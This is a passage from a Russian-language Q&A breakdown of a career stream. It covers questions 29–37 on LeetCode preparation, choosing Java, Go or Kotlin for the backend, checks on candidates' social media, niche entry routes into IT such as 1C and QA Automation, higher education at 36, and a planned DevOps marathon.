  • Простой язык с минималистичным синтаксисом — быстрое обучение
  • Отличная производительность и встроенная конкурентность (горутины, каналы)
  • Быстрая компиляция
  • Высокий спрос на рынке, особенно в микросервисах, DevOps, инфраструктуре
  • Меньше конкуренция по сравнению с Node.js
  • Хорошо оплачивается

Минусы:

  • Меньше фреймворков (хотя это и плюс — меньше зависимости от них)
  • Нет дженериков (до Go 1.18, сейчас есть, но ограниченные)
  • Меньше вакансий в России по сравнению с Java (но растёт)

Сравнительная таблица:

КритерийNode.jsJavaGo
Порог входаНизкийВысокийСредний
Конкуренция (junior)ВысокаяСредняяНизкая
ПроизводительностьСредняяВысокаяВысокая
КонкурентностьEvent loopThreadsGoroutines
Размер рынкаБольшойОгромныйРастёт
Зарплата (middle)СредняяВысокаяВысокая
Область примененияWeb API, BFFEnterprise, Big DataМикросервисы, DevOps, Cloud

Рекомендация для кандидата:

Если цель — максимизировать шансы на трудоустройство и зарплату, стоит рассмотреть Go или Java как основной бэкенд-стек, сохраняя фронтенд как дополнительную компетенцию. Комбинация «фронтенд + Go/Java бэкенд» делает кандидата fullstack-разработчиком с редким и востребованным набором навыков.

Конкретный план:

  1. Выбрать Go или Java как основной бэкенд-язык
  2. Изучить основы: синтаксис, стандартная библиотека, конкурентность
  3. Освоить фреймворк: Gin/Echo для Go, Spring Boot для Java
  4. Научиться работать с базами данных: PostgreSQL, Redis
  5. Собрать fullstack-проект: фронтенд (React/Vue) + бэкенд (Go/Java) + деплой
  6. Решать алгоритмические задачи на LeetCode (минимум 100 задач)

Вопрос 29. Сколько задач на LeetCode нужно решить для уровня Junior и когда начинать искать работу?

Таймкод: 01:27:15

Ответ собеседника: Правильный. Интервьюер рекомендовал решить около 100 задач на LeetCode для уверенного уровня Junior. Если человек решает по 2-3 задачи Medium в день, он уже давно должен искать вакансии. Главный совет — не бояться идти на собеседования, чтобы понять реальный уровень и требования рынка. Многие люди тормозят, потому что думают что не готовы, но собесы — это нормальный процесс обучения.

Правильный ответ:

Отличная рекомендация от интервьюера. Разберём подробнее.

Почему 100 задач — хорошая ориентир:

Для Junior-уровня важно покрыть основные паттерны:

  • 20-30 задач на массивы и строки — двухуказательный метод, скользящее окно, префиксные суммы
  • 15-20 задач на хеш-таблицы — подсчёт, группировка, поиск дубликатов
  • 15-20 задач на стек и очередь — скобки, монотонный стек, BFS
  • 10-15 задач на связные списки — двухуказательный метод, реверс, циклы
  • 10-15 задач на деревья — DFS, BFS, рекурсия
  • 5-10 задач на бинарный поиск
  • 5-10 задач на динамическое программирование (базовые)

Когда начинать искать работу:

Ключевая мысль интервьюера — не ждать идеального момента. Вот признаки готовности:

  • Решено 50+ задач (в том числе 20+ Medium)
  • Можешь объяснить решение и сложность
  • Есть хотя бы один полноценный проект с деплоем
  • Знаешь основы стека (HTTP, Git, базы данных)
  • Можешь написать простой REST API

Если всё это есть — пора начинать откликаться. Собеседования — это тоже обучение: каждое интервью показывает пробеги, которые нужно закрыть.

Практический план подготовки:

Месяц 1: Основы
- 50 задач Easy на LeetCode
- 1 полноценный проект с деплоем
- Изучение Git, основ бэкенда

Месяц 2: Углубление
- 30 задач Medium
- Повторение пройденных задач
- Начало откликов на вакансии

Месяц 3: Практика
- 20+ задач Medium
- Мок-интервью
- Активные собеседования

Важные ресурсы:

  • LeetCode — основная платформа для задач
  • NeetCode.io — структурированный план подготовки с видеоразборами
  • Grind 75 — список из 75 наиболее важных задач
  • Pramp — бесплатные мок-интервью с другими кандидатами
  • Interviewing.io — анонимные мок-интервью с инженерами из крупных компаний

Главный совет: паралич анализа — враг прогресса. Лучше пойти на собеседование и получить фидбек, чем ещё 3 месяца «готовиться». Рынок — лучший учитель.

Вопрос 30. Какой бэкенд-язык выбрать при переходе с фронтенда: Java, Go, Kotlin или остаться в фронтенде?

Таймкод: 01:29:15

Ответ собеседника: Правильный. Интервьюеры обсуждали выбор бэкенд-языка. Один считает что лучше идти в DevOps, а не в бэкенд. Если выбирать язык, то Java — банки активно нанимают джавистов, но требуют опыт 5-7 лет для работы с высокими нагрузками. Другой интервьюер предложил Kotlin как более современную альтернативу Java. Также обсуждали 1С как нишу с меньшей конкуренцией, где можно быстро устроиться и параллельно учить другой язык.

Правильный ответ:

Это дискуссионный вопрос, и мнения интервьюеров разошлись. Разберём каждый вариант.

Java — корпоративный стандарт:

Плюсы:

  • Огромный рынок вакансий, особенно в банках, телекоме, крупном e-commerce
  • Стабильность и предсказуемость карьерного роста
  • Высокие зарплаты на middle/senior уровнях
  • Зрелая экосистема: Spring Boot, Hibernate, Kafka, Elasticsearch

Минусы:

  • Высокий порог входа: JVM, паттерны проектирования, фреймворки
  • Многословность кода
  • Для работы с высокими нагрузками действительно требуется значительный опыт
  • Конкуренция на уровне middle/senior

Go — современный выбор:

Плюсы:

  • Простой язык — можно освоить за 2-3 месяца до уровня, достаточного для работы
  • Встроенная конкурентность (горутины, каналы) — не нужно разбираться с потоками
  • Высокая производительность из коробки
  • Растущий спрос, особенно в микросервисах, облачных платформах, DevOps-инструментах
  • Меньше конкуренция по сравнению с Java и Node.js
  • Хорошо оплачивается

Минусы:

  • Меньше вакансий в России по сравнению с Java (но тренд положительный)
  • Меньше готовых решений и фреймворков
  • Некоторые компании считают Go «нишевым» языком

Kotlin — современная альтернатива Java:

Плюсы:

  • Полная совместимость с Java-экосистемой
  • Более лаконичный и безопасный синтаксис
  • Официальный язык для Android-разработки
  • Растущая популярность в бэкенде (Ktor, Spring Boot с Kotlin)

Минусы:

  • Меньше вакансий, чем на Java
  • Компилируется в JVM — наследует некоторые ограничения Java
  • Меньше специалистов на рынке = меньше ресурсов для обучения

DevOps — альтернативный путь:

Плюсы:

  • Высокий спрос и зарплаты
  • Меньше конкуренция на входе
  • Можно начать с фронтенд-опытом (CI/CD, деплой фронтенда)
  • Хорошо сочетается с навыками разработки

Минусы:

  • Требует знания Linux, Docker, Kubernetes, облачных платформ
  • Другой тип мышления — больше инфраструктура, меньше код

1С — нишевый вариант:

Плюсы:

  • Очень низкая конкуренция
  • Быстрое трудоустройство
  • Стабильный доход
  • Можно параллельно изучать другой язык

Минусы:

  • Узкая специализация, сложно перейти в общую разработку
  • Специфический язык и парадигма
  • Ограниченный потолок зарплаты по сравнению с общей разработкой

Рекомендация для кандидата:

Для человека с фронтенд-опытом, который хочет стать fullstack и максимизировать шансы на трудоустройство, оптимальный путь:

  1. Go как основной бэкенд-язык — быстрое обучение, растущий спрос, меньше конкуренция
  2. Фронтенд как дополнительная компетенция — делает кандидата fullstack
  3. DevOps-навыки как бонус — Docker, CI/CD, базовые знания Kubernetes

Комбинация «React/Vue + Go + базовый DevOps» — это редкий и востребованный набор, который выделяет кандидата на рынке.

Вопрос 31. Важность цифровой репутации: что проверяют HR и служба безопасности при найме?

Таймкод: 01:30:31

Ответ собеседника: Правильный. Интервьюер рассказал что HR и служба безопасности проверяют кандидатов через соцсети: подписки на паблики, аватарки в Telegram, никнеймы. Например, кринжовые фото, ники типа 'PussyHunter', подписки на контент для взрослых могут негативно повлиять на трудоустройство, особенно в банки. Рекомендовал почистить соцсети и использовать нейтральный контент при поиске работы.

Правильный ответ:

Это практический совет, который многие кандидаты игнорируют. Разберём подробнее.

Что проверяют HR и служба безопасности:

Социальные сети:

  • ВКонтакте, Telegram, Instagram* — публичные посты, фото, подписки
  • Подписки на паблики — могут рассказать о ценностях и интересах
  • Фотографии — неуместный контент может стать причиной отказа
  • Комментарии и репосты — агрессивные, экстремистские или дискриминационные высказывания

Профессиональные платформы:

  • GitHub — качество кода, активность, содержание репозиториев
  • LinkedIn — профиль, рекомендации, активность
  • Stack Overflow, Habr — вопросы и ответы

Поисковые системы:

  • Результаты поиска по имени и фамилии
  • Упоминания в новостях или на форумах

Конкретные красные флаги:

  • Никнеймы непрофессионального характера
  • Фото с алкоголем, наркотиками, в непристойных позах
  • Подписки на контент для взрослых
  • Агрессивные или экстремистские высказывания
  • Жалобы на бывших работодателей
  • Утечки конфиденциальной информации с предыдущих мест работы

Что делать:

1. Почистить существующий контент.

Проверьте свои аккаунты глазами HR. Удалите или скройте всё, что может вызвать вопросы.

2. Использовать разные аккаунты для разных целей.

  • Личный аккаунт — приватный, только для друзей
  • Профессиональный аккаунт — публичный, с нейтральным контентом

3. Создать положительный цифровой след.

  • Публичный GitHub с качественными проектами
  • Профиль на LinkedIn с описанием навыков
  • Статьи на Habr или о технологиях
  • Участие в open-source проектах

4. Настроить приватность.

В ВКонтакте: Настройки → Приватность → «Кто видит мою страницу» → «Только друзья». Но помните: аватарка и имя остаются публичными.

5. Проверить себя.

Введите своё имя в поисковик и посмотрите что находят другие. Это то же самое, что увидит HR.

Особенно актуально для:

  • Банков и финансовых организаций — самые строгие проверки службой безопасности
  • Государственных компаний — проверка на благонадёжность
  • Крупных корпораций — есть выделенные HR-специалисты для проверки

Важно понимать: это не про цензуру или ограничение свободы. Это про профессиональный образ. Так же как на собеседование приходят в опрятной одежде, так и цифровой образ должен быть уместным.

Вопрос 32. Стратегия трудоустройства: идти в менее конкурентные ниши или долбить в одну точку?

Таймкод: 01:35:06

Ответ собеседника: Правильный. Интервьюеры обсуждали стратегию трудоустройства. Рекомендовали идти туда где меньше конкуренция, например 1С, где можно устроиться за месяц, получать зарплату и параллельно учить Java или другой язык для перехода. Сравнили со своей стратегией поступления в Бауманку через олимпиады вместо ЕГЭ, чтобы обойти высокую конкуренцию. Совет: если не получается устроиться фронтендером месяцами, лучше пойти в менее конкурентную нишу и развиваться оттуда.

Правильный ответ:

Это стратегический вопрос, и аналогия с Бауманкой через олимпиады — отличная иллюстрация.

Две стратегии — разбор:

Стратегия 1: «Долбить в одну точку»

Постоянно откликаться на вакансии фронтенд-разработчика, готовиться к собеседованиям, решать задачи.

Плюсы:

  • Фокус на желаемом направлении
  • Не нужно тратить время на изучение другого стека

Минусы:

  • Высокая конкуренция — десятки кандидатов на одну позицию
  • Можно месяцами получать отказы, что демотивирует
  • Нет дохода в процессе поиска
  • Риск выгорания

Стратегия 2: «Обходной путь»

Устроиться в менее конкурентную нишу (1С, QA automation, техподдержка, DevOps), получать опыт и зарплату, параллельно развиваться в желаемом направлении.

Плюсы:

  • Быстрое трудоустройство
  • Стабильный доход
  • Опыт работы в IT-компании (даже в другой роли)
  • Время и ресурсы для обучения основного стека
  • Внутренние переходы — часто проще сменить роль внутри компании

Минусы:

  • Нужно тратить время на изучение «промежуточного» стека
  • Риск застрять в нише, если не продолжать учиться
  • 1С — специфическая экосистема, не переносится напрямую в общую разработку

Рекомендация:

Для текущего рынка (2025) стратегия обходного пути часто более прагматична. Конкретный план:

Вариант А — через 1С:

  1. Изучить основы 1С за 1-2 месяца
  2. Устроиться стажёром/джуниором в 1С-компанию
  3. Параллельно учить Go/Java и решать задачи на LeetCode
  4. Через 6-12 месяцев перейти в общую разработку с опытом работы в IT

Вариант Б — через QA Automation:

  1. Изучить основы тестирования и автоматизации (Selenium, Playwright)
  2. Устроиться QA Automation стажёром
  3. Писать автотесты на Python/Java/Go — это тоже программирование
  4. Перейти в разработку изнутри

Вариант В — через DevOps:

  1. Изучить Linux, Docker, CI/CD, основы сетей
  2. Устроиться DevOps-стажёром или системным администратором
  3. Автоматизировать процессы с помощью Python/Go
  4. Перейти в бэкенд-разработку

Вариант Г — через фриланс/стажировки:

  1. Найти неоплачиваемую или низкооплачиваемую стажировку
  2. Получить реальный опыт работы в команде
  3. Через 3-6 месяцев перейти на полноценную позицию

Ключевой принцип: любой вход в IT лучше, чем бесконечная подготовка без опыта. Опыт работы в IT-компании, даже в смежной роли, открывает двери, которые закрыты для «самоучек без опыта».

Вопрос 33. Стоит ли получать высшее образование в 36 лет при наличии среднего профессионального?

Таймкод: 01:39:57

Ответ собеседника: Правильный. Интервьюеры обсуждали вопрос образования. Один считает что в 36 лет нет смысла получать высшее образование — лучше сразу искать работу и выбирать конкретное направление. Другой поделился своим опытом: мог поступить на физфак МГУ, но отказался, потому что там только решают задачи без практики. Считает что базовое образование важно, но дальше нужно выбирать конкретную специализацию. Третий подтвердил что в 36 лет высшее образование точно не нужно.

Правильный ответ:

Это дискуссионный вопрос, но мнения интервьюеров сходятся — в 36 лет высшее образование в сфере IT не является необходимым.

Аргументы против высшего образования в 36 лет:

Время. 4 года бакалавриата — это 4 года, которые можно потратить на получение реального опыта. К моменту выпуска у человека будет 4 лет коммерческого опыта, что ценится значительно выше диплома.

Релевантность. Университетские программы отстают от индустрии на 5-10 лет. За время обучения технологии устаревают, а программа остаётся прежней.

Возраст. В 36 лет выпускник будет конкурировать с 22-летними выпускниками. Работодатели могут предпочесть более молодого кандидата с аналогичным дипломом.

Стоимость возможности. 4 года обучения = 4 года потенциального дохода и карьерного роста.

Когда высшее образование всё же может быть полезно:

  • Для визы/переезда — некоторые страны учитывают наличие диплома при оформлении рабочей визы
  • Для госструктур — в государственных организациях диплом может быть формальным требованием
  • Для саморазвития — если есть время и деньги, и обучение не мешает работе
  • Для фундаментальных знаний — если хотите перейти в науку, ML, компьютерное зрение

Альтернативы высшему образованию:

  • Онлайн-курсы — Coursera, Stepik, Яндекс Практикум
  • Сертификации — AWS, Google Cloud, Kubernetes (CKA)
  • Open-source контрибуции — реальный опыт, видимый сообществу
  • Pet-проекты — портфолио, которое говорит больше диплома
  • Стажировки — быстрый вход в профессию

Итог: в IT диплом — это плюс, но не обязательное условие. Опыт, навыки и портфолио ценятся значительно выше. В 36 лет с средним профессиональным образованием лучше сфокусироваться на получении практического опыта и построении карьеры, чем тратить 4 года на формальное образование.

Вопрос 34. Стоит ли продолжать искать работу фронтендером с React/Node.js стеком без коммерческого опыта?

Таймкод: 01:43:47

Ответ собеседника: Правильный. Интервьюер рекомендовал человеку с нулевым коммерческим опытом идти в ВКонтакте (VK). На вопрос стоит ли бросить Node.js и React и пойти на Java, ответил утвердительно — Java и Go более перспективны. Если человек убил 2 года на фронтенд, то рискует убить ещё 2-3 года на поиск работы. Лучше перейти на Java, так как уже есть понимание языка, задач, баз данных — нужно только изучить новый язык и бэкенд-разработку, что займёт около года.

Правильный ответ:

Это важный стратегический вопрос. Разберём рекомендацию интервьюера.

Проблема с React/Node.js для безопытного кандидата:

  • Огромная конкуренция среди junior-разработчиков
  • Многие фронтендеры автоматически становятся fullstack через Node.js
  • Работодатели часто предпочитают кандидатов с опытом
  • Без коммерческого опыта цикл «отклик → отказ» может длиться месяцами

Почему Java/Go — более перспективный путь:

Меньше конкуренции. Меньше самоучек выбирают Java/Go как первый язык. Большинство приходят в бэкенд через Node.js или Python. Это означает меньше кандидатов на одну позицию.

Высокий спрос. Банки, телеком, крупный e-commerce активно ищут Java/Go разработчиков. Эти отрасли менее подвержены кризисам и активно нанимают.

Более высокий потолок зарплаты. Middle/Senior Java и Go разработчики зарабатывают больше, чем фронтендеры того же уровня.

Перенос навыков. Если человек 2 года изучал программирование, он уже понимает:

  • Основы алгоритмов и структур данных
  • Как работают базы данных
  • Как строится API
  • Git, Docker, основы DevOps
  • Принципы ООП

Всё это применимо к Java/Go. Нужно изучить только новый язык и экосистему.

Конкретный план перехода на Java:

Месяц 1-2: Основы Java
- Синтаксис, ООП, коллекции
- Книга: «Java. Полное руководство» Шилдт / «Effective Java» Блох
- Задачи на LeetCode на Java

Месяц 3-4: Spring Boot
- REST API, JPA/Hibernate, PostgreSQL
- Курс: «Spring Framework Guru» или «Java Brains» на YouTube
- Пет-проект: CRUD API с авторизацией

Месяц 5-6: Углубление
- Микросервисы, 消息очереди (Kafka/RabbitMQ), кеширование (Redis)
- Docker, базовый Kubernetes
- Второй пет-проект: микросервисная архитектура

Месяц 7+: Поиск работы
- Отклики на вакансии Junior Java Developer
- Активное собеседование

Конкретный план перехода на Go:

Месяц 1: Основы Go
- Синтаксис, горутины, каналы, интерфейсы
- Книга: «The Go Programming Language» Донован
- Официальный tour: go.dev/tour

Месяц 2-3: Веб-разработка
- Gin/Echo фреймворк
- Работа с PostgreSQL (pgx, GORM)
- Пет-проект: REST API

Месяц 4-5: Углубление
- Тестирование, gRPC, Docker
- Второй пет-проект

Месяц 6+: Поиск работы

Рекомендация про ВКонтакте (VK):

Крупные компании вроде VK часто имеют программы стажировок и менее строгие требования к опыту. Это может быть хорошим входом в индустрию. Однако стоит рассматривать это как один из вариантов, а не единственную стратегию.

Главный совет: 2 года на изучение программирования — это серьёзная база. Не стоит её терять, переключаясь на другой стек. Лучше использовать имеющиеся знания и добавить к ним бэкенд-язык с высоким спросом.

Вопрос 35. Насколько востребованы инженеры-электрики и сантехники в сравнении с IT-специалистами?

Таймкод: 01:45:03

Ответ собеседника: Правильный. Интервьюеры обсуждали востребованность инженеров-электриков и сантехников. Один поделился что он инженер-гидравлик и понимает необходимость фильтров грубой очистки, компенсаторов и других систем. Считает что можно хорошо зарабатывать, делая ремонты премиум-класса. Другой подтвердил что электрики и сантехники очень востребованы и хорошо оплачиваются, особенно при работе с отделочниками и ремонтом квартир. Привёл пример что один шкаф может стоить до 500 000 рублей.

Правильный ответ:

Это дискуссионный вопрос, не связанный напрямую с разработкой, но интересный для понимания рынка труда в целом.

Сравнение инженерных специальностей и IT:

Инженеры-электрики и сантехники:

Плюсы:

  • Стабильный спрос — люди всегда будут строить и ремонтировать
  • Возможен фриланс и частные заказы
  • Премиум-сегмент может приносить высокий доход
  • Не требует постоянного изучения новых технологий (как IT)

Минусы:

  • Физический труд
  • Доход ограничен количеством рабочих часов
  • Зависимость от сезона и экономической ситуации
  • Сложнее масштабировать доход

IT-специалисты:

Плюсы:

  • Высокий потолок дохода
  • Возможность удалённой работы
  • Масштабируемость — один продукт может обслуживать миллионы пользователей
  • Гибкость — можно менять специализацию, работать на себя

Минусы:

  • Необходимость постоянного обучения
  • Высокая конкуренция на входе
  • Риск выгорания
  • Нестабильность в некоторых секторах (стартапы)

Вывод: обе сферы могут быть прибыльными. Ключевое — уровень мастерства и умение работать с клиентами. Премиум-электрик или сантехник может зарабатывать сопоставимо с middle IT-специалистом, но потолок дохода в IT выше. При этом вход в инженерные специальности может быть быстрее и с меньшей конкуренцией.

Вопрос 36. Какие направления в IT наиболее перспективны для трудоустройства в 2025 году?

Таймкод: 01:46:37

Ответ собеседника: Правильный. Интервьюеры дали рекомендации по выбору направления в IT. Советуют идти в бэкенд, выбирая Java или Golang. Также рекомендуют обратить внимание на тестирование автоматизации (QA Automation) — это очень востребованное направление с меньшей конкуренцией. Отмечают что аналитики, проджект-менеджеры и продакт-менеджеры сейчас менее востребованы. Чем сложнее направление, тем меньше людей и больше возможностей. Также рекомендуют рассмотреть DevOps и безопасность как перспективные направления.

Правильный ответ:

Отличная сводка рекомендаций от интервьюеров. Разберём подробнее.

Наиболее перспективные направления в 2025 году:

1. Бэкенд-разработка (Java/Go) — высокий спрос.

Java и Go — лидеры корпоративного бэкенда. Банки, финтех, телеком, крупный e-commerce активно нанимают. Конкуренция ниже, чем во фронтенде и Node.js, а зарплаты выше.

2. QA Automation — недооценённая ниша.

Многие хотят быть разработчиками, но не хотят заниматься тестированием. Это создаёт дефицит QA Automation инженеров. При этом:

  • Порог входа ниже, чем в разработку
  • Можно писать код на Python, Java или Go
  • Востребованность стабильно высокая
  • Хороший путь для перехода в разработку позже

3. DevOps/Platform Engineering — растущий спрос.

Компании всё больше переходят на облака и микросервисы, что требует DevOps-инженеров. Нужны знания:

  • Linux, Docker, Kubernetes
  • CI/CD (GitLab CI, GitHub Actions, Jenkins)
  • Облачные платформы (AWS, GCP, Yandex Cloud)
  • Infrastructure as Code (Terraform, Ansible)
  • Мониторинг (Prometheus, Grafana)

4. Информационная безопасность — критический дефицит.

Количество кибератак растёт, и компании инвестируют в безопасность. Направления:

  • Application Security (AppSec)
  • DevSecOps
  • Penetration Testing
  • Security Operations Center (SOC)

5. Data Engineering — данные как актив.

Компании собирают огромные объёмы данных и нуждаются в инженерах, которые строят пайплайны обработки:

  • Apache Kafka, Apache Spark
  • Airflow, dbt
  • Хранилища данных (ClickHouse, Snowflake, BigQuery)

Менее востребованные направления (по мнению интервьюеров):

  • Аналитики данных — рынок перенасыщен junior-аналитиками
  • Project/Product Manager — много кандидатов, мало вакансий
  • Frontend (React/Node.js) — высокая конкуренция на входе

Ключевой принцип:

«Чем сложнее направление, тем меньше людей и больше возможностей» — это золотое правило. Выбирайте направление, где порог входа выше, но и конкуренция ниже. Это инвестиция в долгосрочную карьеру.

Вопрос 37. Планы по запуску стримов и марафонов по DevOps

Таймкод: 01:48:44

Ответ собеседника: Правильный. Интервьюеры анонсировали планы по запуску стримов и марафонов по DevOps. Планируют показывать настройку инфраструктуры начиная от написания кода, деплоя, настройки Jenkins, виртуальных машин, доменов, IP-адресов, до Kubernetes кластеров. Целевая аудитория — фронтендеры, бэкендеры, тестировщики, аналитики. Планируют провести полумарафоны на выходных, где за 2 дня настроят полную инфраструктуру стартапа. Это будет закрытый формат для тех кто реально хочет научиться.

Правильный ответ:

Это анонс образовательной инициативы интервьюеров. Разберём что предлагается и почему это ценно.

Что планируется:

Практические стримы и марафоны по настройке полной инфраструктуры — от кода до production. Это именно тот пробел, который есть у большинства разработчиков: они умеют писать код, но не понимают как он попадает на сервер и работает в production.

Программа марафона:

  1. Написание кода — создание простого приложения
  2. Деплой — настройка виртуальной машины (VPS)
  3. CI/CD — настройка Jenkins или GitLab CI
  4. Домены и сеть — привязка домена, настройка DNS, IP-адреса
  5. Контейнеризация — Docker, Docker Compose
  6. Оркестрация — Kubernetes кластер
  7. Мониторинг — Prometheus, Grafana
  8. Безопасность — SSL/TLS, firewall, секреты

Почему это ценно:

Большинство курсов по DevOps — теоретические. Практический марафон, где за 2 дня настраивается реальная инфраструктура, даст навыки, которые можно сразу применить в работе. Это именно то, что отличает junior от middle — понимание полного цикла доставки кода до production.

Рекомендация для кандидата:

Если марафон будет доступен — обязательно участвовать. DevOps-навыки — это мощный дифференциатор на рынке труда. Разработчик, который может не только написать код, но и настроить инфраструктуру для его работы, значительно ценнее, чем тот, кто только пишет код.

Самостоятельная подготовка к марафону:

Если хотите подготовиться заранее, изучите основы:

  • Linux — базовые команды, файловая система, права доступа
  • Docker — создание контейнеров, Dockerfile, Docker Compose
  • Git — ветвление, PR, CI/CD пайплайны
  • Сети — IP-адреса, DNS, порты, HTTP/HTTPS